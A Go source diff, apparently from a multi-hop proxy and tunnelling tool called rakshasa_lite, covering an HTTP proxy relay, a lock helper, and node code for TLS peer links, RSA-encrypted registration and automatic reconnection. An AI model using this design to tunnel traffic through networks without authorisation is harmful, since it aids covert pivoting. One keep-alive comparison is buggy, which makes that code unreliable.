"net/url"
|
||||
"rakshasa_lite/common"
|
||||
"rakshasa_lite/httppool"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
type httpProxyClient struct {
|
||||
windowsSize int64
|
||||
isclose int32
|
||||
conn net.Conn
|
||||
udpconn net.Conn
|
||||
|
||||
remote int32
|
||||
server *node
|
||||
id uint32
|
||||
wait chan int
|
||||
close string
|
||||
|
||||
udpMap sync.Map
|
||||
listenId uint32
|
||||
localAddr string
|
||||
isConnect bool
|
||||
method string
|
||||
cfg *common.Addr
|
||||
pool *httppool.HttpPool
|
||||
remoteAddr string
|
||||
remotePort string
|
||||
randkey []byte
|
||||
}
|
||||
|
||||
func (s *httpProxyClient) Write(b []byte) {
|
||||
|
||||
switch b[0] {
|
||||
case common.CMD_CONNECT_BYIDADDR_RESULT:
|
||||
if string(s.randkey) != string(b[1:9]) {
|
||||
return
|
||||
}
|
||||
switch common.NetWork(b[9]) {
|
||||
|
||||
case common.RAW_TCP:
|
||||
if b[10] != 1 {
|
||||
go func() { s.Close("") }()
|
||||
} else if s.method == "CONNECT" {
|
||||
s.conn.Write([]byte("HTTP/1.0 200 Connection established\r\n\r\n"))
|
||||
}
|
||||
case common.RAW_TCP_WITH_PROXY:
|
||||
|
||||
if b[10] != 1 {
|
||||
//重新拉取一个池
|
||||
s.connect()
|
||||
} else if s.method == "CONNECT" {
|
||||
s.conn.Write([]byte("HTTP/1.0 200 Connection established\r\n\r\n"))
|
||||
}
|
||||
default:
|
||||
log.Println("httpProxyClient 未处理")
|
||||
}
|
||||
|
||||
case common.CMD_CONN_MSG:
|
||||
s.conn.Write(b[1:])
|
||||
s.Addwindow(int64(-len(b[1:])))
|
||||
default:
|
||||
log.Println("未处理")
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (s *httpProxyClient) Close(msg string) {
|
||||
if atomic.CompareAndSwapInt32(&s.isclose, 0, 1) {
|
||||
|
||||
<-s.wait
|
||||
s.wait <- common.CONN_STATUS_CLOSE
|
||||
|
||||
s.server.connMap.Delete(s.id)
|
||||
|
||||
if msg == "" {
|
||||
msg = "未知关闭"
|
||||
}
|
||||
s.close = msg
|
||||
if msg == remoteClose {
|
||||
s.remote = CONN_REMOTE_CLOSE
|
||||
} else if s.remote == CONN_REMOTE_OPEN {
|
||||
s.remote = CONN_REMOTE_CLOSE
|
||||
s.Remoteclose()
|
||||
}
|
||||
|
||||
s.conn.Close()
|
||||
if s.udpconn != nil {
|
||||
s.udpconn.Close()
|
||||
}
|
||||
s.udpMap.Range(func(k, _ interface{}) bool {
|
||||
s.udpMap.Delete(k)
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
}
|
||||
func (s *httpProxyClient) Addwindow(window int64) {
|
||||
|
||||
windows_size := atomic.AddInt64(&s.windowsSize, window)
|
||||
windows_update_size := int64(common.INIT_WINDOWS_SIZE)
|
||||
|
||||
if windows_size < windows_update_size/2 { //扩大窗口
|
||||
if size := windows_update_size - s.windowsSize; size > 0 {
|
||||
atomic.AddInt64(&s.windowsSize, size)
|
||||
|
||||
go func() {
|
||||
buf := make([]byte, 8)
|
||||
buf[0] = byte(size & 255)
|
||||
buf[1] = byte(size >> 8 & 255)
|
||||
buf[2] = byte(size >> 16 & 255)
|
||||
buf[3] = byte(size >> 24 & 255)
|
||||
buf[4] = byte(size >> 32 & 255)
|
||||
buf[5] = byte(size >> 40 & 255)
|
||||
buf[6] = byte(size >> 48 & 255)
|
||||
buf[7] = byte(size >> 56 & 255)
|
||||
s.server.Write(common.CMD_WINDOWS_UPDATE, s.id, buf)
|
||||
}()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func StartHttpProxy(cfg *common.Addr, dst []string, poolfile string) error {
|
||||
var pool *httppool.HttpPool
|
||||
var err error
|
||||
if poolfile != "" {
|
||||
pool, err = httppool.HttpPoolInit(poolfile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
var target *node
|
||||
|
||||
if len(dst) == 0 {
|
||||
target = currentNode
|
||||
} else {
|
||||
target, err = GetNodeFromAddrs(dst)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
l := &clientListen{
|
||||
server: target,
|
||||
localAddr: cfg.Addr(),
|
||||
id: common.GetID(),
|
||||
typ: "http",
|
||||
randkey: make([]byte, 8),
|
||||
}
|
||||
binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
|
||||
l.listen, err = StartHttpProxyWithServer(cfg, target, l.id, pool)
|
||||
if err != nil {
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
currentNode.listenMap.Store(l.id, l)
|
||||
return nil
|
||||
}
|
||||
func StartHttpProxyWithServer(cfg *common.Addr, n *node, id uint32, pool *httppool.HttpPool) (net.Listener, error) {
|
||||
l, err := net.Listen("tcp", cfg.Addr())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
randkey := make([]byte, 8)
|
||||
binary.LittleEndian.PutUint64(randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
|
||||
fmt.Println("httpproxy start ", cfg.Addr())
|
||||
go func() {
|
||||
for {
|
||||
conn, err := l.Accept()
|
||||
if err != nil {
|
||||
if err.(*net.OpError).Err == net.ErrClosed {
|
||||
return
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
s := &httpProxyClient{
|
||||
cfg: cfg,
|
||||
conn: conn,
|
||||
server: n,
|
||||
listenId: id,
|
||||
pool: pool,
|
||||
randkey: randkey,
|
||||
}
|
||||
go handleHttpProxyLocal(s)
|
||||
}
|
||||
}()
|
||||
return l, nil
|
||||
}
|
||||
func (s *httpProxyClient) OnOpened() (close bool) {
|
||||
s.wait = make(chan int, 1)
|
||||
s.remote = CONN_REMOTE_OPEN
|
||||
s.windowsSize = 0
|
||||
s.wait <- common.CONN_STATUS_OK
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// 监听本地服务
|
||||
func handleHttpProxyLocal(s *httpProxyClient) {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
|
||||
}
|
||||
}()
|
||||
b := make([]byte, common.MAX_PLAINTEXT-8)
|
||||
if s.OnOpened() {
|
||||
s.Close("无法获得服务器连接")
|
||||
}
|
||||
var data []byte
|
||||
var req = &http1request{}
|
||||
for {
|
||||
n, err := s.conn.Read(b)
|
||||
if err != nil {
|
||||
|
||||
s.Close(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
data = append(data, b[:n]...)
|
||||
//尝试读取一个http消息
|
||||
l, _, err := parsereq(req, data)
|
||||
if err != nil {
|
||||
return
|
||||
} else if l == 0 {
|
||||
continue
|
||||
}
|
||||
//判断用户名密码
|
||||
if s.cfg.GetHttpAuthorizationHeader() != "" {
|
||||
var authorize bool
|
||||
for _, herder := range req.header {
|
||||
|
||||
if herder == s.cfg.GetHttpAuthorizationHeader() {
|
||||
authorize = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !authorize {
|
||||
s.conn.Write([]byte("HTTP/1.0 407 Proxy Authentication Required\r\nProxy-Authenticate: Basic realm=\"Access to internal site\"\r\nContent-Length: 0\r\n\r\n"))
|
||||
continue
|
||||
}
|
||||
|
||||
}
|
||||
data = data[l:]
|
||||
switch req.method {
|
||||
case "GET":
|
||||
if u, err := url.Parse(req.uri); err == nil {
|
||||
if i := strings.IndexByte(u.Host, ':'); i > -1 {
|
||||
s.remoteAddr = u.Host[:i]
|
||||
s.remotePort = u.Host[i+1:]
|
||||
} else {
|
||||
s.remoteAddr = u.Host
|
||||
s.remotePort = "80"
|
||||
}
|
||||
s.connect()
|
||||
buf := bufPool.Get().(*bytes.Buffer)
|
||||
buf.Reset()
|
||||
buf.WriteString("GET ")
|
||||
buf.WriteString(req.uri)
|
||||
buf.WriteString(" HTTP/1.1\r\n")
|
||||
for _, header := range req.header {
|
||||
buf.WriteString(header)
|
||||
buf.WriteString("\r\n")
|
||||
}
|
||||
buf.WriteString("\r\n")
|
||||
s.write2connect(buf.Bytes())
|
||||
buf.Reset()
|
||||
bufPool.Put(buf)
|
||||
|
||||
} else {
|
||||
return
|
||||
}
|
||||
case "CONNECT":
|
||||
s.method = "CONNECT"
|
||||
if i := strings.IndexByte(req.uri, ':'); i > -1 {
|
||||
s.remoteAddr = req.uri[:i]
|
||||
s.remotePort = req.uri[i+1:]
|
||||
s.connect()
|
||||
} else {
|
||||
return
|
||||
}
|
||||
|
||||
for {
|
||||
n, err = s.conn.Read(b)
|
||||
if err != nil {
|
||||
s.Close(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
s.write2connect(b[:n])
|
||||
}
|
||||
default:
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
func (s *httpProxyClient) write2connect(data []byte) {
|
||||
var new_size int64
|
||||
if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口
|
||||
atomic.AddInt64(&s.windowsSize, new_size)
|
||||
|
||||
} else {
|
||||
new_size = 0
|
||||
}
|
||||
outdata := make([]byte, 8)
|
||||
outdata[0] = byte(new_size)
|
||||
outdata[1] = byte(new_size >> 8)
|
||||
outdata[2] = byte(new_size >> 16)
|
||||
outdata[3] = byte(new_size >> 24)
|
||||
outdata[4] = byte(new_size >> 32)
|
||||
outdata[5] = byte(new_size >> 40)
|
||||
outdata[6] = byte(new_size >> 48)
|
||||
outdata[7] = byte(new_size >> 56)
|
||||
|
||||
s.server.Write(common.CMD_CONN_MSG, s.id, append(outdata, data...))
|
||||
}
|
||||
func (s *httpProxyClient) connect() {
|
||||
if !s.isConnect {
|
||||
|
||||
buf := make([]byte, 2+len(s.remoteAddr)+len(s.remotePort))
|
||||
s.id = s.server.storeConn(s)
|
||||
buf[0] = byte(common.RAW_TCP)
|
||||
copy(buf[1:], s.remoteAddr)
|
||||
buf[1+len(s.remoteAddr)] = ':'
|
||||
copy(buf[2+len(s.remoteAddr):], s.remotePort)
|
||||
//添加代理信息
|
||||
if s.pool != nil {
|
||||
proxy := s.pool.Next()
|
||||
buf[0] = byte(common.RAW_TCP_WITH_PROXY)
|
||||
buf = append(buf, []byte(" "+proxy.String())...)
|
||||
}
|
||||
|
||||
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, cert.RSAEncrypterByPrivByte(append(s.randkey, buf...)))
|
||||
if value, ok := s.server.listenMap.Load(s.listenId); ok {
|
||||
switch v := value.(type) {
|
||||
case *serverListen:
|
||||
v.connMap.Store(s.id, s)
|
||||
case *clientListen:
|
||||
v.connMap.Store(s.id, s)
|
||||
}
|
||||
}
|
||||
s.isConnect = true
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (s *httpProxyClient) Remoteclose() {
|
||||
|
||||
s.close = "本地要求远程关闭"
|
||||
|
||||
buf := make([]byte, 4)
|
||||
buf[0] = byte(s.id)
|
||||
buf[1] = byte(s.id >> 8)
|
||||
buf[2] = byte(s.id >> 16)
|
||||
buf[3] = byte(s.id >> 24)
|
||||
s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, append(s.randkey, buf...))
|
||||
|
||||
}
|
||||
func init() {
|
||||
|
||||
}
|
||||
|
||||
type kv struct { //kv键值对
|
||||
key string
|
||||
value string
|
||||
}
|
||||
type http1request struct {
|
||||
Status string
|
||||
|
||||
//解析相关
|
||||
Proto, method string
|
||||
path, query, uri string
|
||||
keep_alive bool
|
||||
header []string //记录整行
|
||||
body []byte
|
||||
//rawdata []byte
|
||||
|
||||
//输出buffer相关
|
||||
//data io.ReadCloser //消息主体
|
||||
//dataSize int //dataSize大于-1就输出,所以要放到最后赋值
|
||||
//out *tls.MsgBuffer //输出消息用buffer,包含header等信息
|
||||
//out1 *tls.MsgBuffer
|
||||
//流水线控制
|
||||
//next *http1request
|
||||
//num int32
|
||||
//alreadyOutHreader bool
|
||||
}
|
||||
|
||||
func (req *http1request) addheader(line string, j int) {
|
||||
if line[:j] == "Proxy-Connection" {
|
||||
req.header = append(req.header, "Connection: "+line[j+2:])
|
||||
req.keep_alive = line[j+2:] == "line[j+2:]"
|
||||
} else {
|
||||
req.header = append(req.header, line)
|
||||
}
|
||||
|
||||
}
|
||||
func parsereq(req *http1request, data []byte) (clen int, resdata []byte, err error) {
|
||||
|
||||
l := len(data)
|
||||
defer func() {
|
||||
if e := recover(); e != nil {
|
||||
|
||||
}
|
||||
}()
|
||||
|
||||
// method, path, proto line
|
||||
|
||||
req.Proto = ""
|
||||
var s = 0
|
||||
var line string
|
||||
var firstLine = true
|
||||
req.body = req.body[:0]
|
||||
req.header = req.header[:0]
|
||||
for i, j := 0, 0; j < l; j += i + 2 {
|
||||
i = bytes.IndexByte(data[j:], 13)
|
||||
|
||||
if i == -1 {
|
||||
break //跳出循环,判断是否包体过大
|
||||
}
|
||||
|
||||
line = string(data[j : j+i])
|
||||
if i > 0 {
|
||||
if firstLine {
|
||||
var q = -1
|
||||
i := strings.IndexByte(line, 32)
|
||||
if i > -1 {
|
||||
req.method = line[:i]
|
||||
line = line[i+1:]
|
||||
for i, v := range line {
|
||||
if v == 63 && q == -1 {
|
||||
q = i
|
||||
} else if v == 32 {
|
||||
if q != -1 {
|
||||
req.path = line[s:q]
|
||||
req.query = line[q+1 : i]
|
||||
} else {
|
||||
req.path = line[s:i]
|
||||
}
|
||||
req.uri = line[s:i]
|
||||
i++
|
||||
req.Proto = line[i:]
|
||||
//判断http返回
|
||||
if req.method == "HTTP/1.1" || req.method == "HTTP/1.0" {
|
||||
/*code, err := strconv.Atoi(req.path)
|
||||
if err == nil {
|
||||
//req.Code = code
|
||||
//req.CodeMsg = req.Proto
|
||||
}*/
|
||||
req.Status = line
|
||||
req.Proto = req.method
|
||||
req.method = ""
|
||||
req.path = ""
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
switch req.Proto {
|
||||
case "HTTP/1.0":
|
||||
req.keep_alive = false
|
||||
case "HTTP/1.1":
|
||||
req.keep_alive = true
|
||||
default:
|
||||
return 0, nil, fmt.Errorf("malformed http1request")
|
||||
}
|
||||
firstLine = false
|
||||
} else {
|
||||
k := strings.IndexByte(line, 58)
|
||||
if k > -1 && k < len(line) {
|
||||
req.addheader(line, k)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
|
||||
j += i + 2
|
||||
|
||||
if l-j < clen {
|
||||
return 0, nil, nil
|
||||
}
|
||||
req.body = append(req.body, data[j:j+clen]...)
|
||||
//req.body = append(req.body, data[s:s+clen]...)
|
||||
//req.rawdata = append(req.rawdata, data[:j+clen]...)
|
||||
return j + clen, req.body, nil
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return 0, nil, nil
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
package server
|
||||
|
||||
//封装一下易于调试的lock
|
||||
import (
|
||||
"sync"
|
||||
)
|
||||
|
||||
type lock struct {
|
||||
l sync.RWMutex
|
||||
}
|
||||
type unlock struct {
|
||||
key string
|
||||
l *sync.RWMutex
|
||||
}
|
||||
|
||||
func (l *lock) Lock(old ...*unlock) *unlock {
|
||||
u := &unlock{l: &l.l}
|
||||
if len(old) == 1 {
|
||||
u = old[0]
|
||||
}
|
||||
l.l.Lock()
|
||||
return u
|
||||
}
|
||||
func (l *lock) RLock(old ...*unlock) *unlock {
|
||||
u := &unlock{l: &l.l}
|
||||
if len(old) == 1 {
|
||||
u = old[0]
|
||||
}
|
||||
|
||||
l.l.RLock()
|
||||
return u
|
||||
}
|
||||
func (l *unlock) Unlock() {
|
||||
l.l.Unlock()
|
||||
}
|
||||
func (l *unlock) RUnlock() {
|
||||
l.l.RUnlock()
|
||||
}
|
||||
@@ -0,0 +1,1480 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"cert"
|
||||
"crypto/tls"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"math/rand"
|
||||
"net"
|
||||
"os"
|
||||
"rakshasa_lite/common"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
uuid2 "github.com/google/uuid"
|
||||
)
|
||||
|
||||
var (
|
||||
currentNode = &node{uuid: uuid2.New().String()}
|
||||
clientLock = &lock{}
|
||||
nodeMap = make(map[string]*node)
|
||||
upLevelNode []*node //上游节点
|
||||
upNodeWrite = make(chan []byte, 999)
|
||||
extNodeIp []string
|
||||
connMap sync.Map
|
||||
)
|
||||
|
||||
func InitCurrentNode() {
|
||||
s := unsafe.Sizeof(uintptr(1))
|
||||
bit := " x32"
|
||||
if s == 8 {
|
||||
bit = " x64"
|
||||
}
|
||||
rand.Seed(time.Now().Unix())
|
||||
currentNode.hostName, _ = os.Hostname()
|
||||
if ip, _ := common.ExternalIP(); ip != nil {
|
||||
currentNode.addr = ip.String()
|
||||
}
|
||||
currentNode.goos = runtime.GOOS + bit
|
||||
currentNode.mirrorNode = &node{
|
||||
id: currentNode.id,
|
||||
uuid: currentNode.uuid,
|
||||
hostName: currentNode.hostName,
|
||||
goos: currentNode.goos,
|
||||
addr: currentNode.addr,
|
||||
}
|
||||
currentNode.mirrorNode.mirrorNode = currentNode
|
||||
nodeMap[currentNode.uuid] = currentNode
|
||||
//fmt.Println("当前节点UUID", currentNode.uuid)
|
||||
go func() {
|
||||
for b := range upNodeWrite {
|
||||
for {
|
||||
ok := func() bool {
|
||||
|
||||
l := clientLock.Lock()
|
||||
defer l.Unlock()
|
||||
|
||||
if len(upLevelNode) == 0 {
|
||||
return false
|
||||
}
|
||||
upLevelNode[0].conn.tlsWrite(b)
|
||||
return true
|
||||
}()
|
||||
if ok {
|
||||
break
|
||||
}
|
||||
time.Sleep(time.Second)
|
||||
}
|
||||
|
||||
}
|
||||
}()
|
||||
nodeTickPing()
|
||||
time.AfterFunc(time.Second*10, checkUpLevelNode)
|
||||
}
|
||||
func checkUpLevelNode() {
|
||||
|
||||
if len(currentConfig.DstNode) > 0 && len(upLevelNode) == 0 {
|
||||
|
||||
//尝试重新连接节点
|
||||
for _, addr := range currentConfig.DstNode {
|
||||
connectNew(addr)
|
||||
}
|
||||
if len(upLevelNode) == 0 {
|
||||
//尝试连接其他节点
|
||||
if !currentConfig.Limit {
|
||||
for _, addr := range extNodeIp {
|
||||
connectNew(addr)
|
||||
if len(upLevelNode) > 0 {
|
||||
return
|
||||
}
|
||||
}
|
||||
func() {
|
||||
|
||||
l := clientLock.RLock()
|
||||
defer l.RUnlock()
|
||||
|
||||
for _, n := range nodeMap {
|
||||
if n.uuid != currentNode.uuid {
|
||||
func() {
|
||||
|
||||
l.RUnlock()
|
||||
defer clientLock.RLock(l)
|
||||
|
||||
if len(n.mainIp) == 0 {
|
||||
connectNew(fmt.Sprintf("%s:%d", n.addr, n.port))
|
||||
}
|
||||
}()
|
||||
if len(upLevelNode) > 0 {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
time.AfterFunc(time.Second*5, checkUpLevelNode)
|
||||
}
|
||||
func nodeTickPing() {
|
||||
|
||||
l := clientLock.RLock()
|
||||
defer l.RUnlock()
|
||||
|
||||
now := time.Now().Unix()
|
||||
for _, n := range nodeMap {
|
||||
if n.uuid != currentNode.uuid {
|
||||
if n.mainIp != "" {
|
||||
addr1 := fmt.Sprintf("%s:%d", n.mainIp, n.port)
|
||||
find := false
|
||||
for _, addr2 := range extNodeIp {
|
||||
if addr1 == addr2 {
|
||||
find = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !find {
|
||||
extNodeIp = append(extNodeIp, addr1)
|
||||
}
|
||||
}
|
||||
if n.nextPingTime == 0 {
|
||||
go n.ping(0)
|
||||
n.nextPingTime = now + 10 + rand.Int63n(10)
|
||||
} else if n.nextPingTime < now {
|
||||
go n.ping(0)
|
||||
n.nextPingTime = now + 30 + rand.Int63n(30)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
time.AfterFunc(time.Second*1, nodeTickPing)
|
||||
}
|
||||
|
||||
// 节点
|
||||
type node struct {
|
||||
id int
|
||||
uuid string
|
||||
hostName string
|
||||
goos string
|
||||
addr string
|
||||
connMap sync.Map
|
||||
udpConnMap sync.Map
|
||||
listenMap sync.Map //client端会存入clientListen,server存入serverListen
|
||||
shellMap sync.Map
|
||||
queryMap sync.Map
|
||||
conn *Conn
|
||||
pingTime, pongTime int64
|
||||
mainIp string
|
||||
port int
|
||||
listen net.Listener
|
||||
nextPingTime int64
|
||||
|
||||
waitMsg []*common.Msg //需要等待处理的消息
|
||||
mirrorNode *node //currentNode会生成一个互为mirror的node,以实现client-server功能,比如httpProxy在单节点启动
|
||||
isClose int32
|
||||
reConnectAddrs []string //重连节点需要的信息
|
||||
}
|
||||
type nodeInfo struct {
|
||||
UUID string
|
||||
HostName string
|
||||
MainIp string
|
||||
Port string
|
||||
Goos string
|
||||
}
|
||||
|
||||
func connectNew(addr string) (n *node, e error) {
|
||||
//先从已连接查找
|
||||
for _, node := range nodeMap {
|
||||
if fmt.Sprintf("%s:%d", node.mainIp, node.port) == addr {
|
||||
return node, nil
|
||||
} else if fmt.Sprintf("%s:%d", node.addr, node.port) == addr {
|
||||
return node, nil
|
||||
} else if node.uuid == addr {
|
||||
return node, nil
|
||||
}
|
||||
}
|
||||
config := cert.Tlsconfig.Clone()
|
||||
interfaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("无法获得网卡信息%v", err)
|
||||
}
|
||||
var connChan = make(chan *tls.Conn, 1)
|
||||
raddr, err := net.ResolveTCPAddr("tcp", addr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, i := range interfaces {
|
||||
addrs, e := i.Addrs()
|
||||
if e == nil {
|
||||
for _, localAddr := range addrs {
|
||||
go func(localAddr net.Addr) {
|
||||
localstr := localAddr.String()
|
||||
localstr = localstr[:strings.LastIndex(localstr, "/")] + ":0"
|
||||
laddr, _ := net.ResolveTCPAddr("tcp", localstr)
|
||||
if laddr!=nil{
|
||||
if netconn, e := net.DialTCP("tcp", laddr, raddr); e == nil {
|
||||
conn := tls.Client(netconn, config)
|
||||
select {
|
||||
case connChan <- conn:
|
||||
default:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}(localAddr)
|
||||
}
|
||||
}
|
||||
}
|
||||
var conn *tls.Conn
|
||||
select {
|
||||
case c := <-connChan:
|
||||
conn = c
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
return nil, fmt.Errorf("无法连接%s", addr)
|
||||
}
|
||||
c := &Conn{nodeConn: conn, isClient: true, nodeaddr: addr, remoteAddr: conn.LocalAddr().String()}
|
||||
connMap.Store(c.remoteAddr, conn)
|
||||
c.regResult = make(chan error, 1)
|
||||
c.regResultNode = make(chan *node, 1)
|
||||
c.handle()
|
||||
c.reg()
|
||||
|
||||
defer func() {
|
||||
if c.node != nil {
|
||||
l := clientLock.Lock()
|
||||
find := false
|
||||
for _, n := range upLevelNode {
|
||||
if n.uuid == c.node.uuid {
|
||||
find = true
|
||||
}
|
||||
}
|
||||
if !find {
|
||||
upLevelNode = append(upLevelNode, c.node)
|
||||
}
|
||||
|
||||
l.Unlock()
|
||||
}
|
||||
}()
|
||||
select {
|
||||
case err = <-c.regResult:
|
||||
return nil, err
|
||||
case n = <-c.regResultNode:
|
||||
//连接成功
|
||||
n.reConnectAddrs = []string{addr}
|
||||
return n, err
|
||||
case <-time.After(time.Second * 10):
|
||||
return nil, errors.New("time out")
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (n *node) Write(option uint8, id uint32, b []byte) {
|
||||
msg := common.Msg{
|
||||
From: currentNode.uuid,
|
||||
To: n.uuid,
|
||||
CmdOpteion: option,
|
||||
CmdId: id,
|
||||
CmdData: b,
|
||||
}
|
||||
|
||||
if n.uuid == currentNode.uuid {
|
||||
n.mirrorNode.do(&msg)
|
||||
} else {
|
||||
b := msg.Marshal()
|
||||
if n.conn != nil {
|
||||
n.conn.OutChan <- b
|
||||
} else {
|
||||
upNodeWrite <- msg.Marshal()
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
func (n *node) WriteMsg(msg *common.Msg) {
|
||||
|
||||
if n.conn != nil {
|
||||
n.conn.OutChan <- msg.Marshal()
|
||||
} else {
|
||||
upNodeWrite <- msg.Marshal()
|
||||
}
|
||||
}
|
||||
func (n *node) do(msg *common.Msg) {
|
||||
|
||||
var err error
|
||||
//fmt.Println(common.CmdToName[msg.CmdOpteion])
|
||||
switch msg.CmdOpteion {
|
||||
case common.CMD_CONNECT_BYIDADDR:
|
||||
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
|
||||
if len(msg.CmdData) < 9 {
|
||||
return
|
||||
}
|
||||
conn := &serverConnect{}
|
||||
conn.node = n
|
||||
conn.id = msg.CmdId
|
||||
conn.write = make(chan *bytes.Buffer, 64)
|
||||
conn.close = 0
|
||||
conn.windowsSize = 0
|
||||
conn.wait = make(chan int)
|
||||
n.connMap.Store(conn.id, conn)
|
||||
conn.randkey = make([]byte, 8)
|
||||
copy(conn.randkey, msg.CmdData)
|
||||
addr := string(msg.CmdData[9:])
|
||||
|
||||
switch common.NetWork(msg.CmdData[8]) {
|
||||
case common.SOCKS5_CMD_CONNECT:
|
||||
conn.address = addr
|
||||
go conn.doConnectTcp(common.SOCKS5_CMD_CONNECT, addr)
|
||||
case common.SOCKS5_CMD_UDP:
|
||||
go conn.doHandleUdp()
|
||||
case common.RAW_TCP:
|
||||
go conn.doConnectTcp(common.RAW_TCP, addr)
|
||||
case common.RAW_TCP_WITH_PROXY:
|
||||
go conn.doConnectTcpWithHttpProxy(common.RAW_TCP_WITH_PROXY, addr)
|
||||
case common.SOCKS5_CMD_BIND:
|
||||
_l, err := net.Listen("tcp", addr)
|
||||
if err != nil {
|
||||
data := append(conn.randkey, 0)
|
||||
data = append(data, err.Error()...)
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data)
|
||||
return
|
||||
}
|
||||
|
||||
l := &serverListen{listen: _l, node: n, isSocks5: true, id: common.GetID(), replayid: msg.CmdId, randkey: conn.randkey}
|
||||
|
||||
n.connMap.Delete(conn.id)
|
||||
l.socks5Replay = make([]byte, len(msg.CmdData[8:]))
|
||||
copy(l.socks5Replay, msg.CmdData[8:])
|
||||
n.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, append(l.randkey, l.socks5Replay...))
|
||||
n.listenMap.Store(l.id, l)
|
||||
go l.Lisen()
|
||||
}
|
||||
case common.CMD_CONNECT_BYIDADDR_RESULT:
|
||||
|
||||
if v, ok := n.connMap.Load(msg.CmdId); ok {
|
||||
if conn, ok := v.(common.Conn); ok {
|
||||
conn.Write(append([]byte{common.CMD_CONNECT_BYIDADDR_RESULT}, msg.CmdData...))
|
||||
}
|
||||
}
|
||||
case common.CMD_CONN_MSG:
|
||||
|
||||
v, ok1 := n.connMap.Load(msg.CmdId)
|
||||
conn, ok2 := v.(common.Conn)
|
||||
if !ok1 || !ok2 {
|
||||
n.Write(common.CMD_DELETE_CONNID, msg.CmdId, nil)
|
||||
return
|
||||
}
|
||||
conn.Write(append([]byte{common.CMD_CONN_MSG}, msg.CmdData...))
|
||||
case common.CMD_DELETE_CONNID:
|
||||
v, ok := n.connMap.Load(msg.CmdId)
|
||||
if ok {
|
||||
if conn, ok2 := v.(common.Conn); ok2 {
|
||||
conn.Close("对方节点要求关闭")
|
||||
} else {
|
||||
n.connMap.Delete(msg.CmdId)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
case common.CMD_WINDOWS_UPDATE:
|
||||
v, ok := n.connMap.Load(msg.CmdId)
|
||||
if ok {
|
||||
conn := v.(*serverConnect)
|
||||
windows_update_size := int64(msg.CmdData[0]) | int64(msg.CmdData[1])<<8 | int64(msg.CmdData[2])<<16 | int64(msg.CmdData[3])<<24 | int64(msg.CmdData[4])<<32 | int64(msg.CmdData[5])<<40 | int64(msg.CmdData[6])<<48 | int64(msg.CmdData[7])<<56
|
||||
if windows_update_size > 0 {
|
||||
old := atomic.AddInt64(&conn.windowsSize, windows_update_size) - windows_update_size
|
||||
if old < 0 {
|
||||
go func() {
|
||||
select {
|
||||
case conn.wait <- common.CONN_STATUS_OK:
|
||||
case <-time.After(time.Second):
|
||||
}
|
||||
}()
|
||||
}
|
||||
}
|
||||
|
||||
} else {
|
||||
n.Write(common.CMD_DELETE_CONNID, msg.CmdId, nil)
|
||||
}
|
||||
|
||||
case common.CMD_REG:
|
||||
func() {
|
||||
l := clientLock.Lock()
|
||||
defer l.Unlock()
|
||||
|
||||
var regmsg common.RegMsg
|
||||
err = json.Unmarshal(msg.CmdData, ®msg)
|
||||
if err != nil {
|
||||
regmsg.Err = err.Error()
|
||||
b, _ := json.Marshal(regmsg)
|
||||
n.Write(common.CMD_REG_RESULT, 0, b)
|
||||
return
|
||||
}
|
||||
uuid := regmsg.UUID
|
||||
if uuid == currentNode.uuid {
|
||||
regmsg.Err = "不能连接自己"
|
||||
b, _ := json.Marshal(regmsg)
|
||||
n.Write(common.CMD_REG_RESULT, 0, b)
|
||||
return
|
||||
}
|
||||
|
||||
n.hostName = cert.RSADecrypterStr(regmsg.Hostname)
|
||||
n.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
|
||||
if n.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil {
|
||||
n.port = -1
|
||||
}
|
||||
